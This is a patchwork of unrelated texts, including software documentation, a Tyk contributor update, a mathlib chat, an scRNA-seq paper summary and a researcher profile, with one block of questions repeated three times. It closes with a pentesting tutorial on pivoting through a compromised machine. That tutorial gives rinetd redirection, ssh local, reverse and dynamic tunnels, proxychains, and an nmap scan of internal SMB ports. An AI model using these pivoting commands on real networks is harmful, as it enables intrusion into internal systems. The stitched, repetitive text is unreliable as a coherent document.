Please note that the loop modus consumes a huge amount of data. With high-speed connections 10 tests can consume 1GB or more. Therefore it is highly recommended to run the loop mode only with a true flat rate tariff where additional traffic des not generate additional costs.The loop mode also consumes a lot of battery power. Between the loop tests, the loop mode keeps GPS and the display active, thus the battery is drained much faster than in standbymode. In addition, tests also consume power. Therefore the loop mode should be used only if an extended power supply is available.


Two weeks have passed already. I used to believe I can handle having a day job and get time to explore my other open source interests, which has proved to be hard.
I’m glad I’m working fulltime on open source project though, so I have decided to fully shift my focus on the tyk gateway
This probably marks the end on updates on other projects I have been working on on my free time.I plan to use my free time with my family and just being away from my pc.
There will be a major release 2.9
coming up around october. This release will include some
of my major contribution namely tcp proxy
and opentracing support
. So, I have been very busy with bug fixes against the release branch.
Bug fixes
- #2572 Fix tcp logs when connection is closed
- #2570 Fix binding http/https services on custom ports
- #2553 Fix parsing HMACFieldValues from auth header
- #2539 Fix RedisCluster.GetMultiKey
- #2535 Log error when control api router is missing
- #2525 log stripping version message in debug mode
- #2515 Validate API specs before loading them
Code Improvements
- #2542 Use context.Context to manage uptime tests loops
- #2524 Make LE state backup cancellable goroutine
Features
- #2533 Add support for whitelisting ports


FZP
The FZP class is the main fzp data entry. Here you can access the main data properties/objects and some utility functions can be used to load svgs as string, count the total number of connections or set a connector.
Example:
const {FZP} = require('fzp-js')
let fzp = new FZP({moduleId: 'sample'})
fzp.version = '1.0.0'
fzp.setTag('demo')
fzp.setProperty('p', 'hello', true)
fzp.setView()
fzp.setConnector()
fzp.setBus()
Constructor Summary
| Public Constructor | ||
| public |
constructor(opt: Object) FZP constructor has an opt argument object that can be used to setup data at the initialization. |
Member Summary
| Public Members | ||
| public |
The FZP author |
|
| public |
The FZP buses is a map with instances of the Bus class. |
|
| public |
The FZP connectors |
|
| public |
The FZP date |
|
| public |
The FZP description |
|
| public |
The FZP family |
|
| public |
The FZP fritzing version |
|
| public |
The FZP label |
|
| public |
The FZP language |
|
| public |
The FZP module id |
|
| public |
The FZP properties |
|
| public |
The FZP tags |
|
| public |
The FZP taxonomy |
|
| public |
The FZP title |
|
| public |
The FZP url |
|
| public |
The FZP variant |
|
| public |
The FZP version |
|
| public |
The FZP views (icon, breadboard, schematic, pcb) |
Method Summary
| Public Methods | ||
| public |
getProperty(key: String): FZPProperty Get a FZP property by the given key. |
|
| public |
Load all SVG sources. |
|
| public |
setBus |
|
| public |
setConnector(name: String, connector: FZPConnector): FZP setConnector |
|
| public |
setProperty(key: String, value: String, showInLabel: Boolean): FZP Create or update a FZPProperty instance to the FZP. |
|
| public |
Set a tag |
|
| public |
Set a view |
|
| public |
totalBuses(): Number Get the total number of buses. |
|
| public |
Get the total number of connector. |
|
| public |
Get the total number of properties. |
|
| public |
Get the total number of tags. |
Public Constructors
Public Members
Public Methods
public getProperty(key: String): FZPProperty source
Get a FZP property by the given key.
Params:
| Name | Type | Attribute | Description |
| key | String |
public loadSVGs(baseurl: String): FZP source
Load all SVG sources.
Params:
| Name | Type | Attribute | Description |
| baseurl | String |
public setConnector(name: String, connector: FZPConnector): FZP source
setConnector
Params:
| Name | Type | Attribute | Description |
| name | String | ||
| connector | FZPConnector |
public setProperty(key: String, value: String, showInLabel: Boolean): FZP source
Create or update a FZPProperty instance to the FZP.


Front Matter
Each .md
file can optionally contain a header with metadata describing the document. If the header isn’t present, or if any keys are missing, default values will be used.
To insert a header into a .md
file, insert three dashes (---
), followed by a new-line, followed by the front matter contents, followed by a newline, then another three dashes and a new-line. The metadata is in the TOML format, so for example the front-matter (and first line) for a file could look like this:
--- title = "Front Matter" author = "Kenton Hamaluik" pubdate = 2019-11-29T15:22:00-07:00 --- Each `.md` file can optionally contain a header with metadata describing the document. If the header isn't present, or if any keys are missing, default values will be used.
Supported Keys
The list of supported keys is subject to change, but for now it is as follows:
-
title
-
A human-readable title for the document (defaults to the filename)
-
author
-
The author (or authors) who wrote the chapter (defaults to “Anonymous”)
-
pubdate
-
The RFC 3339 timestamp of when the chapter was published (defaults to the time at build)
-
url
-
The relative URL of the file, defaults to the generated route (you probably shouldn’t set this one)


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Form
Form elements sync with overall styling of evo text and colors. Use <input>
, <select>
, and <textarea>
tags. Add attributes to the HTML tags as needed, such as autofocus
, required
, or multiple
.
containers and labels
<form>
<fieldset>
<legend>Legend (visible)</legend>
<legend class="visually-hidden">Legend (visully hidden)</legend>
<!-- place form inputs here -->
</fieldset>
</form>
Create the <form>
tag, with a <fieldset>
tag nested inside, followed by a <legend>
tag and text. Apply the visually-hidden
class to the legend in order to hide it (except for screen readers).


{% extends 'base.html' %} {% block content-title %}
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- calculate(List<Round>, int, Round) - Method in interface com.jpn.bowling.components.score.RoundScoreCalculator
-
Generic interface used to calculate final score for an specific bowling round
- calculate(List<Round>, int, Round) - Method in class com.jpn.bowling.components.score.RoundSimpleScoreCalculator
-
Specific calculator for a simple round (No spare, no Strike)
- calculate(List<Round>, int, Round) - Method in class com.jpn.bowling.components.score.RoundSpareScoreCalculator
-
Specific calculator for a spare round
- calculate(List<Round>, int, Round) - Method in class com.jpn.bowling.components.score.RoundStrikeScoreCalculator
-
Specific calculator for a strike round
- calculateScore(PlayerInfo, GenericRound) - Method in class com.jpn.bowling.components.score.BowlingPlayerScoreCalculator
-
Specific bowling implementation of PlayerScoreCalculator used to calculate
final score for an specific player in an specific round of bowling
- calculateScore(PlayerInfo, GenericRound) - Method in interface com.jpn.games.components.PlayerScoreCalculator
-
Generic interface used to calculate final score for an specific player in an
specific round
- com.jpn.bowling - package com.jpn.bowling
-
Application base package with @SpringBootApplication and CommandLineRunner
for command line execution of this application
- com.jpn.bowling.components - package com.jpn.bowling.components
-
All specific bowling components interfaces are located here
- com.jpn.bowling.components.impl - package com.jpn.bowling.components.impl
-
All specific implementations of bowling or game components interfaces are
located here
- com.jpn.bowling.components.score - package com.jpn.bowling.components.score
-
Components implementations of related to bowling score calculation
- com.jpn.bowling.domain - package com.jpn.bowling.domain
-
Classes that represents different objects of the bowling scoreboard domain
- com.jpn.bowling.exceptions - package com.jpn.bowling.exceptions
-
Custom exceptions for each bowling fault scenario
- com.jpn.bowling.input - package com.jpn.bowling.input
-
Provides required classes for user input interaction
- com.jpn.games.components - package com.jpn.games.components
-
Generic interfaces for any game that needs to compute or process scores
- com.jpn.games.domain - package com.jpn.games.domain
-
Generic base objects for any game that needs to compute or process scores
- com.jpn.games.exceptions - package com.jpn.games.exceptions
-
Generic exception for any game that needs to compute or process scores
- readInputs(String) - Method in class com.jpn.bowling.input.FileUserInput
-
Specific implementation of UserInput used to read moves from a file.
- readInputs(String) - Method in interface com.jpn.games.domain.UserInput
-
- RollsTransformer - Interface in com.jpn.bowling.components
-
Interface that define specification to transform a map of each user with a
list of string rolls to a List of PlayerInfo
- RollsTransformerImpl - Class in com.jpn.bowling.components.impl
-
Implementation of RollsTransformer to transform a map of each user with a
list of string rolls to a List of PlayerInfo
- RollsTransformerImpl() - Constructor for class com.jpn.bowling.components.impl.RollsTransformerImpl
-
- Round - Class in com.jpn.bowling.domain
-
Represents a Bowling specific Round or Frame
- Round(int) - Constructor for class com.jpn.bowling.domain.Round
-
Inititalize Round with number specified by parameter
- RoundClearFormatter - Class in com.jpn.bowling.components.impl
-
Implementation of interface RoundInfoFormatter with a human readable style of
a Round
- RoundClearFormatter() - Constructor for class com.jpn.bowling.components.impl.RoundClearFormatter
-
- RoundException - Exception in com.jpn.bowling.exceptions
-
- RoundException(Round, String) - Constructor for exception com.jpn.bowling.exceptions.RoundException
-
- RoundInfoFormatter - Interface in com.jpn.bowling.components
-
Interface that define action to return an string representation of a Round
- RoundRequestedFormatter - Class in com.jpn.bowling.components.impl
-
Implementation of interface RoundInfoFormatter as required by the Java
Challenge specification
- RoundRequestedFormatter() - Constructor for class com.jpn.bowling.components.impl.RoundRequestedFormatter
-
- RoundsBuilder - Interface in com.jpn.bowling.components
-
Defines how scores sent by the users are transformed in Rounds and returns
new list of rounds
- RoundsBuilderImpl - Class in com.jpn.bowling.components.impl
-
Implementation that defines how scores sent by the users are transformed in
Rounds and returns new list of rounds
- RoundsBuilderImpl() - Constructor for class com.jpn.bowling.components.impl.RoundsBuilderImpl
-
- RoundScoreCalculator - Interface in com.jpn.bowling.components.score
-
Generic interface used to calculate final score for an specific bowling round
- RoundSimpleScoreCalculator - Class in com.jpn.bowling.components.score
-
Specific calculator for a simple round (No spare, no Strike)
- RoundSimpleScoreCalculator() - Constructor for class com.jpn.bowling.components.score.RoundSimpleScoreCalculator
-
- RoundSpareScoreCalculator - Class in com.jpn.bowling.components.score
-
Specific calculator for a spare round
- RoundSpareScoreCalculator() - Constructor for class com.jpn.bowling.components.score.RoundSpareScoreCalculator
-
- RoundStrikeScoreCalculator - Class in com.jpn.bowling.components.score
-
Specific calculator for a strike round
- RoundStrikeScoreCalculator() - Constructor for class com.jpn.bowling.components.score.RoundStrikeScoreCalculator
-
- RoundType - Enum in com.jpn.bowling.domain
-
Defines distinct bowling round types
- run(String...) - Method in class com.jpn.bowling.BowlingCommandLineRunnerApp
-
This methods execute the application through command line using at least one
argument (input text file)


For Sonar 5.2+
Maximum number of attempts to query SonarQube Compute Engine API to determine analysis results SonarQube 5.2+ onwards performs final processing of reports asynchronously and exposes the results through an API called Compute Engine. The API needs to be polled to determine completion status. This field stores maximum number of attempts to make to the CE API before considering it as a logical time out.
Recommended value: 30


Welcome to prayas!¶
Prayas is a Bayesian A/B Testing framework written in Python and used within Avira to make business decisions in many different areas.
Controlled experiments (A/B tests or randomized field experiments) are the de facto standard to make data-driven decisions when implementing changes and observing customer responses. Bayesian inference allows us to express the results in easy to understand measures like probability to be the best variant and expected uplift in conversion rates.
The prayas package currently implements three experiment scenarios that are common in our company:
One option model – A variant contains only one option to select
Multi-options model – A variant can contain more than one option to select
Aggregated model – Per variant only aggregated measures are observed
See Examples for an illustration of each model. The underlying methodology is described in Bayesian A/B Testing for Business Decisions by Shafi Kamalbasha and Manuel J. A. Eugster (2020).
Contents¶
Version¶
Documentation based on prayas version 0.1; generated on Nov 27, 2020.
Feedback¶
In case of any bug, comments, feature requests, etc. please open an issue on the project Github page.
Contributors¶
Shafi Kamalbasha
Alin Secareanu
Manuel Eugster


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The set of fields this struct contains, along with convenience methods for finding and manipulating them. |
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the picture explains itself (hopefully)
Oh dear.
@Chris Hughes that's why I edit history
I think history is useful to review the PR, but we should squash before merging.
yes but if you edited the history then there would be no opportunity to mess up
(he apologized under the PR, I noticed just after posting this)
how useful is "This year is 2019" anyway for reviewing the PR?
Not very. I accidentally put 2018 in the header.
I can tell
(btw do you know that you can just \copyright
)
How does that work. It just gives me a copyright symbol.
(the extra options are all the same, don't ask me why)
That gave me a header, but it started with the empty set instead of a forward slash.
who cares, just replace it manually
why not patch it?
its in leanprover/mathlib there will be no rebase. only monotone updates
-- somebody, a few months ago
Sorry, didn't understand. (I have to admit, Kenny, you're sometimes cryptic to the point it's frustrating.)
well according to somebody, there is to be no rebase in the upstream mathlib
i.e. editing the history of leanprover-community/mathlib is forbidden
wait
what were you referring to
the history or the empty set?
I was proposing that someone patch the empty set problem :-)
I assumed the history because that's the name of this thread
Sorry, I see the source of the confusion now!
All, I am sorry I screwed up the merge of Chris'. I am not used to using the Github interface directly, and I thought the "rebase and merge" option would let me edit the commit history. (In other words, I should have used "squash and merge".)
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@* * Copyright 2023 HM Revenue & Customs * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *@ @import config.ViewConfig @import model.Vrn @this( mainTemplate: views.html.main_template, viewsHelpers: views.ViewsHelpers, viewConfig: ViewConfig, repaymentDetails: views.html.classic.partials.repayment_details_classic ) @( vrn: Vrn, receivedOn: String, address : String )( implicit request: Request[_], messages: Messages ) @mainTemplate(title = Messages("vat_repayments_classic.scala.title")) {
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“The purpose of life is not to be happy. It is to be useful, to be honorable, to be compassionate, to have it make some difference that you have lived and lived well.”
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1.What I do during my graduation in computer science engineering?
2.What coding language should I start learning if my goal is application development? I have a basic knowledge of Java, nothing else.
3.What kind of basics in python do I need to learn machine learning? Is it just enough to learn just the basics or should I need to go in depth?
4.How do I prepare for a deep learning interview in a few hours of span when just the basics are known?
1.What I do during my graduation in computer science engineering?
2.What coding language should I start learning if my goal is application development? I have a basic knowledge of Java, nothing else.
3.What kind of basics in python do I need to learn machine learning? Is it just enough to learn just the basics or should I need to go in depth?
4.How do I prepare for a deep learning interview in a few hours of span when just the basics are known?
1.What I do during my graduation in computer science engineering?
2.What coding language should I start learning if my goal is application development? I have a basic knowledge of Java, nothing else.
3.What kind of basics in python do I need to learn machine learning? Is it just enough to learn just the basics or should I need to go in depth?
4.How do I prepare for a deep learning interview in a few hours of span when just the basics are known?


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Clarifying confusion in scRNA-seq analysis
The high proportion of zeros in typical scRNA-seq datasets has led to widespread but inconsistent use of terminology such as “dropout” and “missing data”. Here, we argue that much of this terminology is unhelpful and confusing, and outline simple ideas to help reduce confusion. These include: (1) observed scRNA-seq counts reflect both true gene expression levels and measurement error, and carefully distinguishing these contributions helps clarify thinking; and (2) method development should start with a Poisson measurement model, rather than more complex models, because it is simple and generally consistent with existing data. We outline how several existing methods can be viewed within this framework and highlight how these methods differ in their assumptions about expression variation. We also illustrate how our perspective helps address questions of biological interest, such as whether mRNA expression levels are multimodal among cells.
Sarkar, A. and Stephens, M. “Separating measurement and expression models clarifies confusion in single-cell RNA sequencing analysis.” Nature Genetics (2021).
Empirical results
Additional analyses
- Comparison of distribution deconvolution methods
- Distribution deconvolution examples
- Goodness of fit of deconvolved distributions (interactive browser)
- Marker genes in in silico mixtures (interactive browser)
- Expression variation in Census of Immune Cells
- Expression variation in 10X v3 PBMC data
- Expression variation in human brain cells
- Expression variation in human retina cells
- Expression variation in human liver
- Imputation of count matrices
Technical details
- Technical zero-generating mechanism in scRNA-seq data
- Estimating the number of modes
- Interactive simulations
- Effect of capture rate on sampling variation
- Speed up ash mode estimation
- Mixture of negative binomials
- Convergence of Gamma deconvolution
- Deconvolution of near-Poisson data
- Validation set log likelihood comparison
- NPMLE on C1 spike-in data
- Differential expression from distribution deconvolution
- Posterior approximation for scRNA-seq data
- Link functions in Poisson LRA
- Distributional assumptions in Poisson LRA
- Poisson-truncated normal data
- Poisson-unimodal Gamma mixture model
- Poisson-Gamma log likelihood surface
- Variational autoencoders for scRNA-seq data
- Weighted Negative Binomial Matrix Factorization
- Log link in Poisson ash
- Transformations of deconvolved gene expression distributions
- Gaussian methods
- Randomized quantiles
- Relaxing the independence assumption on expression models
- EM algorithm for point-Gamma expression model
- Iterative refinement of NPMLE grid in ashr
- Uniform vs half-uniform mixture prior


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Types can be supplied for loop variables. It is not necessary to supply a type for any variable, but supplying the type can ensure that the variable has a correctly typed initial value, and it can also enable compiler optimizations (depending on the implementation).
The clause repeat n ... is roughly equivalent to a clause such as
(loop for internal-variable downfrom (- n 1) to 0 ...)
but in some implementations, the repeat construct might be more efficient.
Within the executable parts of the loop clauses and around the entire loop form, variables can be bound by using let.
Use caution when using a variable named IT (in any package) in connection with loop, since it is a loop keyword that can be used in place of a form in certain contexts.
There is
no
standardized mechanism for users to add extensions to loop.


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This package contains some support classes for the built-in JPEG
reader and writer plug-ins. Classes are provided for representing
quantization and Huffman tables, and extensions of
ImageReadParam
and ImageWriteParam
are
provided to supply tables during the reading and writing process. For
more information about the operation of the built-in JPEG plug-ins,
see the JPEG
metadata format specification and usage notes.
@since 1.4


Sangwon Kim
Intern researcher
Undergraduate
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Research Interests
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Wireless Communications
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HTTP/2
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Experience
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9/17 ~ 9/18 : Intern researcher, Qualcomm Institute, San Diego, CA, U.S.
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1/17 ~ 2/17 : International Winter School, EPITECH, Paris, France
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6/16 ~ 8/17 : Intern researcher, Qualcomm Institute, San Diego, CA, U.S.
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Journal
2017
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The development of a short-term memory training system for consecutive interpreting
Sangwon Kim, Donghyeok An, Jihye Pyo, KeeHyun Park, Jimin Lee
Asia-pacific Journal of Multimedia Services Convergent with Art, Humanities, and Sociology(AJMAHS), 7(12), 195-204.
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Development of a sight translation training system for simultaneous interpreting practice
Sangwon Kim, Jimin Lee, KeeHyun Park, Donghyeok An
Asia-pacific Journal of Multimedia Services Convergent with Art, Humanities, and Sociology(AJMAHS), 7(3), 841-850.
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Conference
2017
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A design of automatic electric meter read system using drone
Sangwon Kim, Donhjin Lee, Dasom Ahn, Jihye Pyo, Donghyeok An
Korea Information Processing Society(KIPS), April.
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A design of restroom monitoring and management system using Arduino
Sangwon Kim, Eunsol Kim, Hyejeong Choi, Donghyeok An
Korea Information Processing Society(KIPS), April.
2016
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Development of a Sight translation training system for interpretation and translation
Sangwon Kim, Jimin Lee, KeeHyun Park, Donghyeok An
The Convergent Research Society Among Humanities, Sociology, Science, and Technology, October.
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Development of a memory training system for improving short term memory
Sangwon Kim, Jimin Lee, Jihye Pyo, KeeHyun Park, Donghyeok An
The Convergent Research Society Among Humanities, Sociology, Science, and Technology, October.


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As a pentester, you might be able to take control of systems that have a direct access but you also might be able to test the internal network and check the machine who are inside a subnetwork.
For that task you’ll have to use an already compromised machine as a bridge/gateway, this technic is called “pivot”. Depending of the context, different solutions exist to perform that task.
The easiest one. First you need to install Rinetd:
aptitude search rinetd
p rinetd - Internet TCP redirection server

Then edit the /etc/rinetd.conf
file:
# bindadress bindport connectaddress connectport
<IP_ADDRESS> 80 <IP_ADDRESS> 8080
Restart Rinetd and from now, all incoming traffic on <IP_ADDRESS>
on port 80
will be redirected to <IP_ADDRESS>
on port 8080
.
This can be usefull if a firewall is restricting outbound traffic on certain port.
ssh -L <local port to listen>:<remote host>:<remote port> <gateway>
Similar to port forwarding with Rinetd, this technic still have some tints. The traffic is encrypted but only between the local machine and the gateway.
If the remote host is localhost
then it refers to the gateway. Example:
ssh -L 8080:<IP_ADDRESS>:80<EMAIL_ADDRESS>This open a tunnel between the local machine on port 8080
to <IP_ADDRESS>
on port 80
trough the ssh server <IP_ADDRESS>
connected with user bob
.
Connexion from other machines are not accepted by default, to enable this feature you have to use the -g
option.
ssh -R <remote port to bind>:<local host>:<local port> <gateway>
Note that this must be launched on the already compromised machine ! In this case if the local host is localhost
then it refers to the local machine. Example:
ssh -R 1234:<IP_ADDRESS>:80<EMAIL_ADDRESS>This pop a reverse shell on <IP_ADDRESS>
connected with user bob
and create a tunnel on port 1234
wich will receive all traffic from <IP_ADDRESS>
on port 80
.
As a standalone, Proxychains is mainly used to anonymize traffic but combined with SSH it can be used to perform dynamic port forwarding.
$ aptitude search proxychains
p libproxychains-dev - proxy chains -- shared library (development)
p libproxychains3 - proxy chains -- shared library (runtime)
p proxychains - proxy chains - redirect connections through proxy servers

When the install is finished, edit /etc/proxychains.conf
as here:
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks4 <IP_ADDRESS> 9050
Then we can create a tunnel wich will forward all incoming traffic to any host in the internal network trough the compromised machine which runs the ssh server. Syntax:
ssh -D <local proxy> <target>
Example:
$ ssh -D <IP_ADDRESS>:9050<EMAIL_ADDRESS>From now we can perform scans or anything else on every port on every machine in the DMZ with Proxychains:
$ proxychains nmap -p 139,445 <IP_ADDRESS>-200